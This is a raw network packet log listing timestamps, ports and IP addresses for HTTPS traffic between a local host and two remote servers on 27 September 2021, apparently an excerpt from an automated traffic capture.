Sep 27, 2021 20:32:52.268508911 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.280915976 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281059980 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281102896 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281106949 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281119108 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281142950 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281203985 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281472921 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281531096 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281541109 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281593084 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281829119 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281898022 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281907082 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281948090 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281958103 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.281968117 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.281999111 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282016039 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282042027 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282048941 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282083035 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282123089 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282229900 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282290936 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282301903 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282356024 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282363892 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282418013 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.282426119 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.282485008 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.283735991 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.283830881 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.283833981 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.283843994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.283911943 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.284229994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.284967899 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.284977913 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285037041 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.285043001 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285098076 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.285104990 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285155058 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.285186052 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285238981 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.285634995 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285711050 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.285767078 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.285825014 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.297370911 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.297461987 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.297591925 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.297671080 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.297772884 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.297837019 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.298415899 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.298517942 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.298800945 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.298885107 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.299428940 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.299520016 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302030087 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302088022 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302133083 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302165985 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302175999 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302210093 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302220106 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302267075 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302273989 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302301884 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302328110 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302335024 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302372932 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302409887 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.302546024 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.302619934 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.303445101 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.303503036 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.303544044 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.303553104 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.303589106 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.303613901 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.304384947 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.304862022 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.304950953 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.304960966 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.305012941 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.316113949 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.316186905 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.316270113 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.317840099 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.317852974 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.317914963 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319013119 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319077969 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319099903 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319108963 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319134951 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319181919 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319190979 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319217920 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319246054 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319322109 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319375038 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319397926 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319405079 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319447041 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319475889 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319478035 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319490910 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319541931 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319555044 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319565058 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.319602966 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.319633961 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.322060108 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.322144985 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.322221994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.322910070 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.322921038 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.322992086 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326040030 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326107979 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326145887 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326153994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326167107 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326215982 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326221943 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326261997 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326271057 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326287031 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326309919 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326330900 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326354027 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326363087 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326379061 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326392889 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326421022 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326426029 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326467037 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326498032 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.326509953 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.326582909 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.329116106 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.329166889 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.329219103 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.329226971 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.331836939 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.336025000 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336065054 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336119890 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.336131096 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336186886 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.336193085 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336222887 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336246967 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.336253881 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.336277008 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.336330891 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.339240074 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339277029 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339385033 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.339397907 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339447021 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.339534044 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339562893 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339622974 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.339631081 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.339679003 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.339705944 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.342267036 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.342302084 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.342402935 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.342413902 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.342474937 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.360703945 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.360742092 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363044024 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363059044 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363070011 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363182068 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363204002 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363224030 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363231897 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363317013 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363325119 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363337994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363353968 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363363028 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363431931 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363440037 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363451004 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363457918 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363539934 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363548994 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363559961 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363583088 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363590002 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363661051 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363668919 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363682032 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363693953 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363790035 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363797903 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363811016 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363908052 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363914013 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.363960981 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.363986969 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364043951 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.364063978 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364094019 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364118099 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364156961 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.364165068 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364176035 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364211082 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.364218950 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364243984 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:32:52.364290953 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.364329100 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:32:52.661911964 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:10.095206976 CEST	49741	443	192.168.2.6	162.159.130.233
Sep 27, 2021 20:33:10.095251083 CEST	443	49741	162.159.130.233	192.168.2.6
Sep 27, 2021 20:33:22.761106968 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:22.761168957 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:22.761277914 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:22.799446106 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:22.799479008 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:22.838290930 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:22.838490009 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.030026913 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.030316114 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.030649900 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.035370111 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.079144001 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.212841034 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.212907076 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.212964058 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.213061094 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.213181973 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.213244915 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.213253975 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.213268042 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.213299036 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.213304043 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.213311911 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.213356972 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.213367939 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.214955091 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.214992046 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215023041 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215045929 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215066910 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215087891 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215107918 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215143919 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215163946 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215210915 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215229034 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215243101 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215253115 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215255976 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215259075 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215260983 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215264082 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215290070 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215339899 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215389967 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215403080 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215441942 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215462923 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215502977 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.215502977 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215512991 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.215562105 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.216202021 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.217909098 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.228625059 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.228684902 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.228822947 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.228837967 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.228883982 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229279041 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.229336023 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229340076 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.229352951 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.229382992 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229401112 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.229418039 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229427099 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.229460955 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229487896 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.229793072 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.230024099 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.230051994 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.230079889 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.230096102 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.230108976 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.230135918 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.230180025 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.231611013 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.231658936 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.231687069 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.231738091 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.231755972 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.231786966 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.231808901 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.232594013 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.232666969 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.232691050 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.232707024 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.232728958 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.232754946 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.233731985 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.233828068 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.234631062 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.234675884 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.234724045 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.234741926 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.234769106 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.234787941 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.235558033 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.235644102 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.236289978 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.236341953 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.236361027 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.236375093 CEST	443	49744	162.159.133.233	192.168.2.6
Sep 27, 2021 20:33:23.236388922 CEST	49744	443	192.168.2.6	162.159.133.233
Sep 27, 2021 20:33:23.236418009 CEST	49744	443	192.168.2.6	162.159.133.233
